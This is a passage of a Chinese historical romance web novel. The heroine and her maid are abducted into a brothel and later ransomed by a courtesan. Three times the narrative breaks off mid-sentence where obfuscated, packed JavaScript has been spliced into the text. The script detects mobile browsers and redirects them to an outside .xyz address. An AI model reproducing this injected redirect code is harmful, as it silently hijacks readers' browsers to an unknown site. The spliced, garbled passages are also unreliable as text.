几个大汉迅速用麻袋套住二人的头，不远处，一辆马车赶了过来。他们迅速将麻袋扔上马车，马车疾驰而去。 —— 穿过东街风儿巷，马车在一处后院门口停了下来。 只见院内立着一座二层小楼，粉墙鸳瓦，檐廊下挂着几盏朱红灯笼，瞧着热闹非常。 “赖妈妈，又从哪里寻来的新鲜货色？”一个妙龄女子手里嗑着瓜子，瓜子皮粘在唇脂上，说话时懒洋洋地抬眼。 “瞎打听什么？今天的营生做完了吗？还有空在这里嚼舌根。”赖婆子柳眉一竖，挥手将她赶了进去。 女人扭着水蛇腰，大摇大摆地钻进角门去了。 “哎，你们手脚麻利些，先把人抬去柴房锁好，先饿她们几日再说规矩。”赖婆子转头对汉子们吩咐道。 带头的小厮儿点头应了应，随后将二人抗进柴房。 夜半时分，程雪衣迷迷糊糊睁开眼。 脖颈间肿胀发酸，她打算抬手揉揉，却发现手脚均被麻绳捆着。 “多橘，多橘你还好吗？”程雪衣压低声音唤道，挪着身子往旁边靠了靠。 她低头用脸颊蹭蹭多橘的脸，见躺着的人没有反应，便停了动作。渐渐地，程雪衣已经适应了黑暗的环境，趁着窗外透过的月色，她看着四周堆放的杂物，又听见门外偶尔经过的脚步声，估摸着这里可能是间闲置不用的柴房。 程雪衣叹了口气，望着黑黢黢的墙壁，低下头，整个身子沉了下来。 不多时，对面传来窸窸窣窣的响动，是多橘在挣脱着手脚上的绳子。 “姐儿，姐儿。”多橘的声音带着哭腔，眼泪开始一滴滴滑落。 “多橘，我在这儿，你别害怕。” 程雪衣又往旁边靠了靠，已经能感受到多橘的鼻息。 “姐儿，咱们不会有事儿吧？好端端的，怎么就被人掳到这里来了……” 程雪衣将发生的事情细细地捋了一遍，总觉得此事和沈君昌夫妇脱不了干系。 “你别怕，等天亮了总会有人来，到时候问明来意，如果是图财，便让爹爹来赎咱们，若是贪图别的，咱们再见机行事。” 多橘应了声“嗯”，渐渐止住哭声：“只要姐儿在身边，我就不怕。” “放心，咱们一定会出去的。” 二人轻轻碰了碰对方的额头，相互倚着肩膀睡了过去。 — 直到第三日晌午，那扇积满了灰尘的木门才被推开。 程雪衣和多橘几乎是同时抬头朝门口望去，光线有些刺眼，二人稍稍适应后，看清了为首的人。 “妈妈，您坐。”一个小厮眼明手快，将一边的椅子挪过来，又将干净帕子放在上面，引赖妈妈坐下。 “怎么说，是出了房门去前院接待客人，还是留在这里等着活活饿死？”赖妈妈用指尖抠抠耳垢，随手弹出去，不耐烦道。 “这位……妈妈？”程雪衣顺着小厮儿一起叫，感觉有些别扭，抿了抿唇又道：“我二人与您素不相识，不知是哪里得罪了您。” 赖妈妈轻哼一声，瞧着那张惹人怜惜的脸蛋，慢说道：“有人托我办桩事，要打发了你二人，我可是付他好大一笔银子呢。” “若是妈妈肯放我二人离去，我二人一定奉上双倍酬金，决不食言。” 赖妈妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083533|179467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又细细打量程雪衣，看着她的穿戴打扮，怕真是哪个富贵人家的姐儿。可既以来到这个地方，岂有又放她们走的道理，于是心下一横。 “我要你的仨瓜俩枣作甚，你留下来接客，日日都有源源不断的银钱进账，岂不是更好，你就从了吧。” 两个大汉撸起衣袖，露出结实的手臂，上前展示一番，意欲震慑程雪衣。 程雪衣看着多橘，又看看乱糟糟的周围，决定先应承下来，找个机会再逃出去。 “我若是应下，您能否放了她。”程雪衣转头看向多橘。 多橘连连摇头，眼圈红了些，“我不走！姐儿在哪儿，我就在哪儿。” 赖妈妈拍手笑道，“好一个姐妹情深啊，既然她铁了心留下，那就留下来，这儿的姐妹可多得是呢。” 程雪衣无奈叹气，原想让多橘脱身去搬救兵，眼下机会没了，于是双腿一软，蹲坐在地。 “啪——啪——” 赖妈妈拍了两下手，唤小厮儿上前听话，“去请云檀姑娘来。” 小厮躬身作揖，疾步离去。 过了半晌，门外传来阵阵悦耳的铃铛声响，只见一女子款步进了门。此人穿着一身粉纱金绣褙子，高髻间簪着各式珠翠，一双白皙玉手持扇遮面，腰肢婀娜，眼波流转间瞥了眼屋内二人，向赖妈妈见了礼。 “你来得正好，这是新到的丫头，模样长得标志，若经你的手好好调教一番，将来定能成行院的行首。”赖妈妈绽开笑容道。 云檀却了金丝扇面，细细打量程雪衣，“倒是个玲珑标志的美人儿。”她嘴角噙笑，嗓音慵懒道。 程雪衣见她打量自己，便也大方地将她从头看到脚，轻叹道：“竟长得如此摄人心魄，行首不愧是行首。” “那姑娘见你失了神呢，这就好办了。”赖妈妈起身走到程雪衣面前，又说道：“你若是想通了，就留下来，让云檀慢慢教你，如若你哪天学成，也成了这行院的行首，便是我赖妈妈叫你一声‘祖宗’也使得。” 程雪衣低头听着，眼睛瞥向多橘，轻轻点头，递去个眼神。 多橘会意，程雪衣方开口说道，“我与她从小一起长大，是一刻也离不开的，求妈妈允我二人一同留下，也好有个照应。” 赖妈妈喜上眉梢，连连应道：“那是自然，那是自然。” 说话间，一个小厮急匆匆进门禀报，只见他附耳朝赖妈妈低语几句，又躬身退下。 赖妈妈转头对云檀道：“刚刚许衙内点了你的牌子，你前去应付着，低眉顺眼些，不要惹恼了这位金主。若他说你琴艺不精，你便劝他多吃酒。他要与你猜拳行令，你也要堆笑迎合，这个月的进项可都指着这位爷呢。” 云檀微微蹙眉，面容不悦，却还是福了福身，转身出了门。 赖妈妈瞧着地上的程雪衣和多橘，扬声道：“扒了她们这身脏衣服，带去梳洗干净，再送去二楼最里间的客房。” 程雪衣和多橘立刻紧紧抱在一起，吓得浑身哆嗦。 待赖妈妈出了房门，几个大汉一窝蜂上前，伸出粗粝手掌将二人架起，拖拽着往外走去。 8. 第 8 章 夜色朦胧，风儿巷行院门首，人来人往，络绎不绝。 金红纱栀子灯悬挂在庭院的檐廊下，烛光透过灯罩，散发旖旎的柔光。 浅吟低唱、隆隆掌声不绝于耳，二楼最里间的客房，门外纱帘轻轻抖动。 “装扮好了吗？”赖妈妈扭着腰肢走进来，目光扫过梳妆台前坐着的程雪衣。 “快了，妈妈。”云檀抬眸应道，将粉扑放在程雪衣的脸上压了压。 赖妈妈走近一瞧，盯着铜镜里的人，不禁赞叹道：“果真没看走眼，的确是个美人坯子。”她拍了拍程雪衣的肩膀，侧头看过去，红润的脸庞闪着金泽，睫毛轻轻颤动，媚眼如丝。 程雪衣感觉有些不自在，低下头，任凭云檀手中的粉扑子按压面庞。 “果然经你手调教出来的人，就是不一样。”赖妈妈还不忘夸赞云檀两句。 “妈妈，空口说白话可不成，须有几分实在好处。” 云檀将粉扑放在妆台上，双手抬起程雪衣的下巴，仔细瞧瞧，然后满意点点头，转身去桌上倒了杯茶水。 “还能少了你的好处不成，放心吧。” 赖妈妈喜不自禁，又拉着程雪衣看了看，临走前不忘说了句：“给你三天时间，仔细调教着。我已向达官贵人们放出话去，过些日子就让程娘子见客。” 云檀“嗯”了声，手指轻敲茶盏，眼眸深处皆是厌恶。 “小兔崽子，仔细着点，泼了老娘一身。”赖妈妈走得急，与端着茶水的小厮儿撞在一起，骂骂咧咧道。 等门外声音静下来，云檀唤程雪衣起身，到她身边坐下。 “云檀姑娘……”程雪衣嗓子发紧，有些害羞。 “别太拘束，进了行院的大门，就是好姐妹了，看你年龄尚小，唤我一声云檀姐便可。” 程雪衣看着云檀，点了点头。 “如你所见，这儿就是爷们找乐子的地儿，女人在这里分文不值，赖妈妈让如何做，姑娘们就得照着去做。” “爷，轻点……”隔壁房间传来阵阵娇喘。 程雪衣脸刷的红了，手上慌乱，差点打翻茶盏。 “以后，你在这儿待得时间长了，也就见怪不怪了。”云檀轻轻拍了拍程雪衣的肩。 “云檀姐，你没想过为自己赎身吗？”程雪衣试探问道。 “害，脱了贱籍自然是好，但出去了又能做些什么呢？”她起身走向琴案，用帕子掸了掸花瓶口，将两只时兴花朵插了进去。 “以前，也不乏有钱的公子贵人要花高价钱赎我，可他们赎我，是为了让我给他们做妾室。你知道的，做大户人家的妾室总归是要受正妻冷落的，我不愿看心爱的男子为难，也不愿委屈过活。” “可，并不只有委身下嫁这一条出路啊。”程雪衣站起身，朝云檀的方向走去。 云檀有些吃惊地看着她，见程雪衣接着说道：“你现在虽值花一样美好的年纪，可以色事他人，又能得几时好呢，男人们总是喜新厌旧的。其实，世人本不应将男女欢悦之事当成顶重要的事儿。” “哦？那依姑娘看来，何为世间最重要的事情呢？” 程雪衣说出自己的想法，“彩衣娱亲、结交良友、扶助弱小……总之，有很多种方式可以去实现我们的价值。” 云檀蹙眉，缓声道：“我自小没了爹娘，被人贩子卖到这里，是赖妈妈找人教我弹琴学艺，愉悦男人。至于结交良友，这里的姐妹哪个不是为着吃饱穿暖，又怎能学得那些文人卖弄风月，顶多是倚身卖笑，卖弄风情罢了。” 程雪衣想着云檀的话，没再接着说下去。 未经他人苦，不议他人事。 “此刻，你这般说，怕是过些日子，你便不做这些天真想法了。” 云檀忽地褪下外衣，香肩外露，白皙的脖后颈缠绕着两个红带子，只见那红带子下隐约浮现朵朵粉色花瓣，随着身体起伏微微颤动。 “好看吗？” 程雪衣走近瞧了瞧，想要伸手抚摸，指尖悬在空中顿住。 “这具身体早已不属于我，它可任由人抚摸、刺画，我却做不得主。”她强忍着泪水，声音幽咽，风动情地吹进窗，宣纸扬起一半。 “快穿好。”程雪衣急忙拾起地上的外衫，为她披上。 “你若不想像我一样，被困在这腌臜地，便想法子出去，去过你想过的日子。”云檀用帕子拭去泪水，仰脸看了看程雪衣。 程雪衣眼看身前女子的处境，又联想到自己，脚下一软，跌坐在矮凳上。 过了半晌，云檀被门外的小厮唤走，去接待来客。 — 雅间内，男子大手一挥，掷珠宝金饰于地，惹得乐妓小厮上前哄抢。 只见男子丰神俊朗、温眸含笑，腰间环扣系一藕荷色鸳鸯香囊，手持洒金折扇，折扇轻轻摇了摇，男人方开口说话：“今日小爷高兴，你们只管抢去，不够这里还有。”身后的奴仆从袖口里又掏出大把银子，男人接过去一并洒在地上。 “多谢衙内，多谢衙内……”众人领了赏，上前作揖叩谢。 话闭，奴仆带着一并人等退出房间。 桌上一片狼藉，许清延拿起酒杯，仰着头，猛地灌了下去。 “咳……咳……” 他晃悠着身子，扶桌而起，顺着光亮，一把掀开了梅花帐子，径直走到琴案旁。 许清延趁着酒劲儿，捏住云檀的下巴，将她的脸往上抬了抬。 “衙内，你吃醉了。”云檀想要别过脸，却动弹不得，只能任由男人的手掌箍着。 “云檀，这些日子你可曾想我？”许清延撤了手，一把将云檀搂入怀中。 云檀拗他不过，二人紧紧拥抱在一起，感受着彼此的温度气息。她的心倏忽一软，抬手摸摸他鬓边的墨发。 他听不到回应，便松开手，眼睛聚焦她的眸光，见有泪花闪烁。 “你别哭啊。”他掏出青花帕子，在她眼角擦了擦。 “衙内情谊，云檀受之惶恐，只盼衙内明日清醒后，忘了此间，也忘了云檀罢。” 许清延见云檀起身，便一把拉住她的手，双手环抱住她的下半身。 “你知道的，我家中长辈是不同意……不同意我娶你入府的。” 云檀闭眼叹息，良久不语。 “如今，我爹官运亨通，全家皆是要同去东京府的。”他见云檀不语，又慢声说道：“你我相识一场，我知你对我的心意，又想你也能明白我的情谊，纵使你我二人不能结为夫妻，也想你好自珍重。” “不牢衙内牵挂，我本是红尘女子，却能得衙内青眼，有了几日快活日子，便已是云檀的福分。日后，衙内自然寻得高门大户家的小姐做妻做妾，我……也便继续我的快活日子。” 许清延挣扎着迅速起身，双手捏住云檀的肩膀，“你说什么！？你想过快活日子，没了我，你要过快活日子？” 云檀用力推开他，冷笑道：“是啊，难不成要我在一棵树上吊死，为你守身如玉？” 他又将手覆在她的颈肩，此刻加深力度，眼角晕出猩红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083534|179467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“我不许……不许你这样说，更不许你和别的男人……行你我二人之事。” 云檀憋红了脸，却丝毫不挣脱。她闭着眼，默默承受着，像以前一样。 “云檀！你执意要如此是吗？”他咬牙道。 不等云檀回应，许清延忽地松了手上的力道。她来不及反应，立刻跌坐在地，大口喘着气。 见她如此，许清延醉意全无，转身开了房门，厉声道：“赖妈妈！” 小厮儿见许清延满脸怒色，敛声屏气不敢抬头。 赖妈妈闻声前来，扬起帕子，堆笑道：“许衙内，为何发这么大的火气啊？是不是云檀这丫头，又哪里得罪了您啊。” 许清延听着云檀二字，眼中怒火不消反而更盛，怒声道：“把你前日说的，那个新来的姑娘叫来。” 赖妈妈一头雾水，往日许清延只点云檀的牌子，其他姑娘一概没叫过，今儿可是奇了怪了。 没见赖妈妈动身，许清延又道：“还不快去！” 赖妈妈忙回过神，点头应道，转身啐了句：“算个什么东西！” 不消半盏茶的功夫，赖妈妈领着程雪衣进了门。 酒气混着脂粉香向四周漫开，遍地狼藉，云檀瘫坐在纱帐后，久久未起身。 许清延见赖妈妈领着姑娘进来，侧头瞧瞧里间人的反应，语气轻佻道：“新来的雏儿？” “是嘞，都是清白人家的姑娘。” “多大了？” 程雪衣吓得腿肚子直转，说不出来话。 赖妈妈用手肘推了推她，“十……七。” “那还真是个黄花……小姑娘啊。”许清延就差一字一句顿开来说，可里间的人仍然没有反应，只是静静待着。 “你退下吧。”他摆扇挥了几下。赖妈妈也是识趣，福了福身便推门去了。 月光泻在花苞上，透着晶莹，风鼓动着纱帐，房内静悄悄的。 又过了半晌，许清延让程雪衣走到他身侧坐下。 程雪衣站得久，又因紧张浑身紧绷，脚底发麻，还没等抬脚，便险些晃倒。 “姑娘可好？”许清延快步上前，一把扶住了程雪衣，眼角余光朝云檀瞥了瞥。 “多谢。”程雪衣立刻正身站好，连连退后几步。 “我看起来像恶人？姑娘为何如此这般，害怕于我？”许清延转动手上的洒金扇，缓步走向纱帐。 “我……求衙内放过小女吧！”程雪衣闭紧眼，咬牙说道。 “可我今晚，就想要了你，你该如何？”许清延对着帐中人，黏糊糊地说道。 “小女性格粗鄙，不懂规矩，不懂侍奉，还有腋气，不宜侍寝啊……” 程雪衣乱说一气，等了片刻，男人方回：“你所言之事，是真心还是假意？” “句句属实，如若违心，天打雷劈！” 南无阿弥陀佛！原谅小女嘴上有失，皆是违心之言。 “你如此抗拒，可是已有心上人？” 许清延掀了纱帐，一步步逼近云檀。 程雪衣闭眼胡答道：“小女已和心爱之人定下婚约，此生非他不嫁。” “哦，说来听听，他是个怎样的人？” “他……他是将，是将要凯旋之人，他征战沙场，战无不胜，他是顶天立地的男儿，他长得帅，心肠好……他还说他……” “滚出去！” 瞬时，纱帐后传来窸窸窣窣的嘬吻声，许清延已无暇顾及程雪衣。 程雪衣怔了片刻，连滚带爬地出去了。 9. 第 9 章 日光熹微，阳光洒在琼花的蕊心上，花瓣雪白如珠。 程雪衣被门外哭闹声吵醒，揉了揉红肿的眼睛，缓缓从榻上起身。她见多橘睡得香甜，便拎起裙摆，轻手轻脚到桌边倒了杯茶润喉。 “你这逆子，还不快随我回府！” 程雪衣拿着茶盏的手突然一顿，支棱起耳朵细听外面动静。接着便闻屋外传来“哎呦”痛呼，夹杂着众人的哄闹声。 她放下茶盏，一溜小跑到门前，将门轻轻推开道缝，觑眼看着。 只见一位衣着华贵的中年妇人正扯着许清延的袖子，拽他往楼下去，另一只手还揪着他的左耳。 许清延龇牙咧嘴讨饶：“娘，您轻些，轻些……” 妇人松了手，身旁两个仆役忙上前架住他。她抬手指点着，恨道：“等回了府，看你爹怎么发落你！你个不争气的东西！”说罢轻哼了声，款步下楼去了。 人们见没了热闹，就各自散了。程雪衣瞥见走廊尽头房门敞着，悄悄溜了进去。 屋内弥漫着难闻气味，程雪衣捂紧口鼻，蹑脚走到床前。云檀正双手抱膝，将头深深埋在膝间，未曾抬头。 她发髻凌乱，只着红纱抹胸，胸脯随着呜咽起伏颤抖。 “云檀姐。”程雪衣小声唤了唤，见她未应，便上前轻触她的墨发。云檀哭声加重，眼泪决堤，猛地扑在程雪衣怀里痛哭起来。 待哭了半晌后，云檀用手背擦了擦泪痕，赧然道：“让姑娘见笑了。”她将头发拢在一侧，扯过衣架上的半臂套上，又去净了脸。 程雪衣一路跟着，为她递过绢帕擦脸。 “多谢。”云檀接过帕子，抬眼望见程雪衣一双杏核眼肿得似核桃，不由失声笑起来。程雪衣也跟着咯咯笑起来，二人撑腰笑了会，方去桌边坐下。 “昨夜里……”云檀往上提了提衣襟，害羞道。 “妹妹晓得。”程雪衣抬起手，抓了把空气，又收回手拢了拢鬓发。 “他那般轻薄，理应向你谢罪才是。”她又说道，“可偏他是来花钱寻乐的主儿，纵使行事过分了些，在这地方也常见。” “云檀姐，”程雪衣拉起她的手，身子往前凑了凑，“他……是不是欺负你了？” 云檀反握紧她的手，笑道：“你指的是哪般？” 程雪衣忽觉害羞，耳旁又浮起昨夜纱帐后隐约的亲吻声与颤声，忙将头埋了下去。屋外一个宿醉的客官撞在门柱上，叫骂几句后，抬脚去了。 云檀收回视线，轻声道：“我与他不过各取所需。他愿意掏大把银子找乐子，我恰好入他眼，也算投契罢了。”她眼睫轻轻颤了下，继续说道：“只是以后该不会再见了，他马上就要离了真州。” 程雪衣见她神色落寞，不知如何安慰。自古风流话本里的才子佳人，多半如云檀和许清延这般，落得个悲剧收场。 “世间男子本就多入过江之鲫，若是这个不合心意，咱们就再挑个称心的，姐姐莫要愁，当心伤了身子。” 云檀“噗嗤”笑出声，眼角带着笑意。“昨夜你说，已有了心悦的男子，可是真的？” 程雪衣嗫喏半晌，才低头应道：“是……是真的。” “都是女儿家，害羞什么？快同我说说，他是怎样的人物？”云檀凑近了，侧脸望着她，见程雪衣脸憋得通红，才觉自己成了饶舌的婆子，忙摆手：“罢了，罢了，你既已有了婚约，自该早日脱身，去与心上人过日子，不该在此耽搁。” 程雪衣抬头望她，听这话心头一暖，眼圈更红了。 云檀替她擦擦泪，起身从妆奁盒内拿出一叠银票，数过之后用绢帕仔细包好。 “我回头将这银票给赖妈妈，寻个妥当由头，让她放你走。” “云檀姐，你这是……”程雪衣瞪大眼睛看着那叠银票，眼中重新燃起对自由的盼头。 “我生来便是这命，困在这四方院里与男子纠缠。你与我不同，家中尚有亲人，莫让心上人等你太久。” 程雪衣见她眉心微蹙，似有凝噎，不知如何宽慰，只得连连道谢。 — 云檀缓了片刻，略整衣衫便起身去见了赖妈妈。 赖妈妈方才刚把闹事的许清延与他母亲何氏打发了出去，此刻正坐在后花园凉亭中品茶吃点心。 “请妈妈安。”云檀含笑上前，福了福身。 “怎么，这是寻着好去处，要与我辞行了？”赖妈妈手里捏着快糕，“啪”地撂回盘里，语气不耐道。 云檀见她面色铁青，知是晨间何氏大闹惹得她心中不快，便陪笑道：“妈妈哪里的话，云檀除了这儿，还能去何处安身？” “那许衙内没说要带你同去东京府？”赖妈妈猛地坐直身子，往石桌前凑了凑，探头追问。 “他去何处，与我何干？”云檀缓缓落座，望着枝头新抽出的柳叶，细声道：“云雨散尽，自要启程赶路的，原也留不住。” 赖妈妈听她这样说，便知那许清延，也如其他薄情男子般虚情假意罢了，脸色稍缓。 “那你是为了何事？” “确有一事，想求妈妈恩准。” “你且说来听听。” 云檀见她神色平和不少，便从袖中取出几张银票，轻轻摆在石桌上。 赖妈妈眼睛一亮，伸手捻过银票，细细打量：“你这是何意？” “还请妈妈放程娘子与多橘姑娘离去，这些银票，权当给妈妈的补偿。” 云檀深知赖妈妈是个认钱不认人的性子，不知这些银钱能否打动她，心里敲起了边鼓。 赖妈妈一个手指伸出来，点在了云檀的额头上：“你怕是昏了头！我原以为你拿这些钱是要为自己赎身，怎反倒要救那两个丫头？” 云檀沉声道：“我早已不是清白之身，又无家可归，离了这里也无处可去。可程娘子不同，她是被人拐卖至此的良家女子。” 赖妈妈冷笑道：“放她走了，我先前花出去的银子可不就打了水漂？你怎的越发糊涂了。”说罢端起茶盏抿了两口。 云檀见她不为所动，索性将头上钗环、腕间镯子一并解下，都搁在银票上面。 “若是不够，我这儿还有这些，只盼妈妈发发慈悲，放她们走。” “你到底是哪根筋不对了，平白为两个不相干的人求情？”赖妈妈越说越气，将脸别过，掏出帕子擦了擦额角的汗。 云檀干脆起身，绕到赖妈妈身前，屈膝伏在她脚边：“妈妈有所不知，那程娘子并非寻常人家女子，他夫婿是征战沙场的将军。若是妈妈开罪于她，万一他日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083535|179467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他夫家寻来闹事砸店，可如何是好？” 赖妈妈闻言不由坐直了身子，脸色微沉：“你所言当真？” 云檀眨了眨眼，重重点头：“千真万确。” 赖妈妈眼神微凝，似在斟酌，手肘不慎撞翻茶盏，只听“啪嚓”一声，瓷碗碎在地上，茶水四溅。 她忙拉云檀起身，见云檀无事，又思忖片刻，终是默默点了点头，“便依你说的办吧。” — 云檀不敢耽搁，忙将消息带给程雪衣，怕赖妈妈反悔，当即快手快脚替二人收拾行囊。她将碎银并干粮吃食一并装在包袱里，又唤来小厮儿去寻马车，在后门候着。 程雪衣见云檀为她做此种种，心中万分感激，来不及跪地叩谢搭救之恩，便被云檀推着往后门去了。 “快去吧。”云檀强忍着泪意，扶程雪衣上了马车，又不忘嘱咐多橘：“你二人路上务必保重。” 多橘福身谢过，也钻进了车厢。程雪衣还未来得及掀帘挥手，小厮已扬鞭催马，马蹄踏尘，转瞬跑出数丈之远。 她缓缓放下车帘，两行热泪如断线珠子般滚落，多橘挨近了些，握紧她的手，替她拭泪。 马车行至渡口停下，程雪衣二人下了马车，登舟去了新阳县。 此行风霜潇雨重，不及漫卷残云疏永昼。 程雪衣倚在船栏上，看着春水东流，一时失了神。 自离开新阳县已过月余，回柳州认亲、退婚，遭歹人陷害误入行院，后得云檀搭救——这一路起伏，怎不算又经了场人生风浪。好在，此刻多橘仍在身侧。她看着多橘，眉间愁绪舒展。 又过半晌，小舟划过一片水塘，只见水面飘着零星浮萍，水下沉着几株黑色水草，偶尔摆尾游动的鱼儿轻轻吐出水泡。 程雪衣望着游走的鲤鱼，忽然想起秦莫如之前做的清蒸鱼，心头一暖，想要见面的心情又急迫几分。 船夫唱着民间小调，小舟徐徐前行，赶在星子出现之前，已将船泊向岸边。 多橘先跳过搭板，伸手去扶身后的程雪衣。程雪衣借力跳上岸，抬头望向不远的那方大石头，周围野草已长至半米高。她依稀记得秦莫如母子三人送她离去的情景，如今折返回来，不知她们见了自己会是何等光景？ 见日头尚有余晖，程雪衣加快脚步在前引路，和多橘往山坳里去了。穿过一片小树林，经过一座石桥，远处几户人家的烟囱里已升起袅袅炊烟。 “姐儿，等等我！”程雪衣不自觉走快了些，身后多橘提着裙摆小步追赶。 “慢些，小心脚下。”程雪衣伸手扶了她一把，多橘喘匀气息，又紧随其后加快脚程。 入了村口，二人才渐渐放慢脚步。多橘望着土屋村舍，不禁皱起眉道：“姐儿先前说秦娘子待你不薄，怎的就住在这乡野村间啊？” “沈家遭难，被遣回原籍，日子已不比从前。”程雪衣揉了揉她的脸，捏着鼓起的腮帮，“不过此次回来是为办事，等事情办妥，咱们便去东京府寻爹娘。你且先忍耐几日，我的好多橘。”说罢又往前走去。 正行间，忽见前方一个穿青布长衫、肩背褡裢、手持药箱的郎中，疾步朝矮院墙走去。 程雪衣见那院墙正是沈家院落，心头一紧，忙拉着多橘快步赶了上去。 10. 第 10 章 程雪衣进了院墙，见那郎中迈入门槛进了屋。秦莫如出门迎接，面露愁容，忙着引路。程雪衣和多橘主仆二人，跟随其后，也进了堂屋。 “烦请大夫给烨哥儿好好瞧瞧，这孩子贪玩落入水中，现下昏迷不醒。”秦莫如捏着帕子，垂首掩住情绪。 只见烨哥儿躺在炕上，一动不动。双目下乌黑发青，嘴唇惨白，额间头发滴答淌水。 “快！先打盆热水来，将手脚捂热，把湿衣服脱下来。”郎中转头对秦莫如疾言道。 秦莫如下意识地点头，双脚却僵在原地，挪动不得半步。 程雪衣忙上前搀扶，“娘，我先扶您到那边去坐。” 她见身边站着的人是程雪衣，回过神来，身子发颤道：“程姐儿，你怎的又回来了？” 来不及和秦莫如细说，程雪衣吩咐多橘去灶房烧水，然后将盈姐儿拉到秦莫如身旁。 “大夫，烨哥儿不要紧吧？”程雪衣凑到跟前，看着郎中打开药箱，从里面取出针包，将其摊在桌面上，遂又取出三五根银针，放在烛火上烘烤。待银针消毒完毕，那郎中在烨哥儿身体上分别选了几处施了针。 稍过片刻，烨哥儿睫毛颤动，嘴巴蠕动半晌，又昏睡过去。 “幸好娃娃命大，小娘子不必忧心，等他醒了，服上几天驱寒退热的汤药，便又能活蹦乱跳了。” 郎中转身坐下，拿出纸笔，不消片刻开具一道药方。他让程雪衣明日按方抓药，不日后便可药到病除。 程雪衣连连道谢，从袖口掏出诊金，又将郎中好生送了出去。 多橘烧好热水后，忙端进来，与程雪衣一起为烨哥儿擦身，又换了身干净的衣服。待全部弄妥帖后，月亮已高挂树梢。程雪衣将挽起的衣袖放下，来到秦莫如身旁。 “辛苦你了，程姐儿，要不是你，我真不知该如何是好。”秦莫如憋泪道。盈姐儿在一旁嗦着手指，肚子咕噜噜响了起来。 程雪衣拉过秦莫如的手，轻轻抚摸她的背，温柔道：“娘，您和盈姐儿早就饿了吧，等先吃过晚饭再说吧。” 秦莫如点了点头，拽着盈姐儿起身就要往灶房去，忽见端着水盆走得急的多橘，疑惑道：“这位小娘子是何人？” 多橘急忙上前，敛衽行礼道：“沈夫人，我是姐儿的贴身丫鬟，叫多橘。” 秦莫如看着多橘伶俐懂事的样子，连声道好。 还未等秦莫如转身走去，程雪衣率先堵在门口：“娘，你和盈姐儿回屋照管烨哥儿，我和多橘去备饭。” 秦莫如拗不过程雪衣，只得领着盈姐儿回了东屋看视烨哥儿。 — 夜里寂静，程雪衣和多橘在灶房翻寻食物，可抬眼望去，桌面灶台空空如也。 程雪衣手指扫过锅盖上的灰尘，吹了吹，皱起眉道：“怎的一点能吃的东西都没有？” “姐儿，这还有点米粒。”多橘忙兴奋道，从橱柜中拿出一只黑碗，俯身使劲儿收刮，可最终只盛出半碗粳米。 “三个大人，两个小朋友，这些米怎够填饱肚子？”程雪衣看着碗中的粳米不由发起愁来。 过了片刻，程雪衣拍腿振作道：“今晚我们暂先垫补一口，等明天天一亮，再想办法填饱肚子。” 说着，程雪衣挽起袖子便要动手。刷净铁锅、添水、下米、盖上锅盖，一套动作下来，她鼻尖沁出细汗，抬手擦了擦脸上的灰渍。 多橘守在灶台边，用力拉着风箱，炉膛里的火烧得旺，照得她小脸通红。 “火好像有些旺，再抽出两根木头吧。”程雪衣将耳朵贴在锅盖上听着粳米声响，饭快要熟了。 “好。”多橘拿出烧得通红的木头，放在秽水桶里，烧红的木头瞬间变成焦炭状。 又过片刻，程雪衣约莫时间差不多了，便掀起锅盖。 一阵甜香的米饭味扑面而来，程雪衣鼻翼翕动，满意地拍拍手道：“大功告成！” 多橘立刻从小杌上起身，往前凑了凑，用手扇动米饭的香气，连连赞道：“姐儿，你可真厉害。” 待盛好饭后，程雪衣又从酱菜缸里盛出一小碟芥菜齑，同多橘前后脚进了正堂。 多橘摆放餐具，程雪衣轻手轻脚进门去唤秦莫如吃饭。听见程雪衣的脚步声，秦莫如给熟睡的两个孩子掖好被子，蹑手蹑脚地离开。 “娘，盈姐儿睡下啦？” “刚才闹着肚子饿，现下已经睡熟了。” 秦莫如坐定，程雪衣方挨着她坐下，多橘则站在程雪衣身侧服侍用饭。 “多橘姑娘也坐下，一并用饭吧。”秦莫如招手示意。 程雪衣拉着多橘的手，说道：“累了一天，赶快坐下一起吃吧。” “诶。”多橘福了福身，挨着程雪衣坐下。 饭毕，秦莫如取帕子擦了擦嘴，拉起程雪衣的手，心里不是滋味：“你能回来看我，我心中欢喜，可眼下我……实在没心力照顾你了。” 程雪衣刚想开口唤‘娘’，又觉得不妥，忙改口道：“秦娘子。” “嗯。”秦莫如嗡声道。 “我此行来是有重要事情，要告知您的。” 秦莫如忙正身坐好，认真听她道：“自我离去，一路生出不少事端。沈家叔婶送我回柳州后，才知我爹娘皆去了东京府。后来沈家叔叔因为赌钱惹下祸事……”她继续道：“幸得云檀相救，我和多橘才得以逃脱。” 